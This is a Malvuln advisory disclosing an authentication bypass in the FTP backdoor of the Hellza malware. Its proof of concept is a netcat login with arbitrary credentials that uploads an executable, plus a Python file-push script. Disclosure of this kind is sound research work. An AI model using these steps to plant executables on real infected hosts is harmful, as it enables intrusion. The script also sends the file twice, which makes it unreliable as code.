Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/2cbd0fcf4d5fd5fb6c8014390efb0b21_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Hellza.120
Vulnerability: Authentication Bypass
Description: The malware listens on TCP ports 12122, 21.  Third-party adversarys who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands.
Family: Hellza
Type: PE32
MD5: 2cbd0fcf4d5fd5fb6c8014390efb0b21
Vuln ID: MVID-2022-0642
Dropped files: msdllsrv.exe
Disclosure: 09/19/2022 

Exploit/PoC:
C:\>nc64.exe 192.168.18.125 21
220 HellzAddiction FTP server.
USER malvuln
331 Password required for malvuln.
PASS malvuln
230 User malvuln logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
PASV
227 Entering Passive Mode (192,168,18,125,219,186).
CDUP \
250 CWD command successful. "C:/" is current directory.
STOR DOOM_SM.exe
150 Opening data connection for DOOM_SM.exe.
226 File received ok

from socket import *

MALWARE_HOST="192.168.18.125"
PORT=56250
DOOM="DOOM_SM.exe"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()

    s.close()

    print("By Malvuln");

if __name__=="__main__":
    doit()

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